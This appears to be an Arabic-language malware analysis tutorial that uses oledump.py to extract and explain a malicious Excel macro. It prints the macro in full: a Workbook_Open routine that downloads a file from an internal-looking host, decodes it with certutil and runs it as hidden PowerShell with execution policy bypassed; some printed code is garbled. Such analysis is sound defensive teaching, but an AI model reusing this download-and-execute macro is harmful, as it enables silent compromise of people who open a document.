

Macro

يحتوي على excel بسم الله الرحمن الرحيم المقالة هذي بتكون تحليل لملف ماكرو

باختصار وشو الماكرو؟ هي خاصية تتيح للي مسوي الملف التحكم بشكل اكبر سواء بالجدول و تعديلها و يكون فيه تفاعل مع المستخدم و طبعا الهكر ممكن يستغلها لأشياء لصالحه و يجيب شل على الجهاز

في البداية نشوف نوع الملف

```
remnux@remnux:~/Downloads$ file sheetsForFinancial.xlsm
sheetsForFinancial.xlsm: Microsoft Excel 2007+
remnux@remnux:~/Downloads$
```

عرفنا انه ملف excel و الاصدار حقه و الحين نشوف هل يحتوي على ماكرو او لا و نقدر نستعمل oledump.py

```
remnux@remnux: ~/Downloads$ oledump.py sheetsForFinancial.xlsm
A: xl/vbaProject.bin
A1:      468 'PROJECT'
A2:      86 'PROJECTwm'
A3: M    7829 'VBA/Module1'
A4: m    1196 'VBA/Sheet1'
A5: m    1204 'VBA/ThisWorkbook'
A6:      3130 'VBA/_VBA_PROJECT'
A7:      4020 'VBA/_SRP_0'
A8:      272 'VBA/_SRP_1'
A9:      3892 'VBA/_SRP_2'
A10:     220 'VBA/_SRP_3'
A11:     680 'VBA/_SRP_4'
A12:     106 'VBA/_SRP_5'
A13:     464 'VBA/_SRP_6'
A14:     106 'VBA/_SRP_7'
A15:     562 'VBA/dir'
```

الماكرو اللي نبحت عنه يكون M و هذا يعني انه ماكرو طيب الرقم حقه هو A3 الحين نستخرج الكود حقه

```

cemu@remux:~/Downloads$ oledump.py -s 3 -v -b decompress corrupt sheets For Financial.Xlsm
Attribute VB Name = "Module1"
Function genStr(Length As Integer)
    Dim chars As Variant
    Dim x As Long
    Dim str As String

    If Length < 1 Then
        Exit Function
    End If

    chars = Array("a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "!", "@", "#", "$", "%", "^", "&", "*", "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z")

    For x = 1 To Length
        Randomize
        str = str & chars(Int((UBound(chars) - LBound(chars) + 1) * Rnd + LBound(chars)))
    Next x

    randStr = str
End Function

Sub Workbook_Open()
    Dim str1: genStr (17)
    Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
    str2 = "wgd2l0aCB0aGUGZmF0IGxhZkhkIERyaXZlIHV2IG91dCBvZiBoZXJ0ISB0b3JnZXQgdGhIGZhdCBsYWR5ISB2b3UncmUgb2JzZXNzZWQg"
    WPrpywgcwVjgluaW5nIGlY2tldC"
    Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
    str3 = "Wqgd2l0aCB0aGUGZmF0IGxhZkhkIERyaXZlIHV2IG91dCBvZiBoZXJ0ISB0b3JnZXQgdGhIGZhdCBsYWR5ISB2b3UncmUgb2JzZXNzZWQg"
    xHttp.Open "GET", "http://srv3.wonderballfinancial.local/abc123.crt", False
    xHttp.Send
    Dim str9: genStr (10)
    With bStrm
        .Type = 1 '//binary
        .Open
        .write xHttp.ResponseBody
        .savetoFile "encd.crt", 2 '//overwrite
    End With
    str5 = "Wqgd2l0aCB0aGUGZmF0IGxhZkhkIERyaXZlIHV2IG91dCBvZiBoZXJ0ISB0b3JnZXQgdGhIGZhdCBsYWR5ISB2b3UncmUgb2JzZXNzZWQg"
    str6 = "ZZV0IGl5IGVzHjCl3NvIGihY2hpbmU/Iep1c3QgbXkgbHVjYywbGmBgaWLLlB2b3UncmUgYSB2ZXJ5IHRhbgVudGVKIHlvdW5nIG1hbiwgd2l0aCB0b3VzIG93b1BjbGV2ZXJgdGhvdwdodHMgYW5kIGZm"
    Ep1c3QgbXkgbHVjYywbGmBgaWLLlB2b3UncmUgYSB2ZXJ5IHRhbgVudGVKIHlvdW5nIG1hbiwgd2l0aCB0b3VzIG93b1BjbGV2ZXJgdGhvdwdodHMgYW5kIGZm"

```

شغلنا الاداة و حطينا 3 اللي هو A3 و vbadecompresscorrupt عشان نطلع الكود و بعدها الملف نفسه و طلعت لنا الاكواد

```
oledump.py -s 3 --vbadecompresscorrupt sheetsForFinacial.xlsm
```

```
Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
str3 = "Wqgd2l0aCB0aGUGZmF0IGxhZHkHIERyaXZlIHVzIG91dCBvZiBoZXJlISB6b3JnZXQgdGhlIGZhZCB5YWR5ISBZb3UncmUgb2JzZXNzZWQg"
xHttp.Open "GET", "http://srv3.wonderballfinancial.local/abc123.crt", False
xHttp.Send

Dim str9: genStr (10)
With bStrm
.Type = 1 '//binary
.Open
.write xHttp.responseBody
.savetoFile "encd.crt" 2 '//overwrite
End With

str5 = "Wqgd2l0aCB0aGUGZmF0IGxhZHkHIERyaXZlIHVzIG91dCBvZiBoZXJlISB6b3JnZXQgdGhlIGZhZCB5YWR5ISBZb3UncmUgb2JzZXNzZWQg"
str6 = "Z2V0IG15IGVzCHJlC3VlIGh1Y2hpbmU/IEp1c3QgbXkgbHVJYXVwbG8gaWwlllBzB3UncmUgYSB2ZXJ5IHRhbgVudGVkIHVldW5nIGh1bWgd2l0aCB5b3VyIG93b1BjbGV2ZXIhbnVybG8gaWwlllBzB3UncmUgYSB2ZXJ5IHRhbgVudGVkIHVldW5nIGh1bWgd2l0aCB5b3VyIG93b1BjbGV2ZXIgdGhvdGdodHMyYk5kIGlkZW"
Shell ("cmd /c certutil -decode encd.crt run.ps1 & c:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe -ep bypass -W Hidden .\run.ps1")
```

لو نلاحظ عند Shell شغل cmd و حمل ملف من النت و بعددين سو decode له و شغله ك powershell file

الموضوع سهل بس مرات الهكر يخلي قرايه الكود اصعب ف يسوي يشفر الكود حقه ليكون اصعب تحليله

المُلخَص

شفنا نوع الملف و اكتشفنا فيه ماكرو استخرجنا الماكرو و حللنا الكود و اكتشفنا انه يشغل powershell

ان شاء الله تعجبكم و اذا فيه اخطاء نيهوني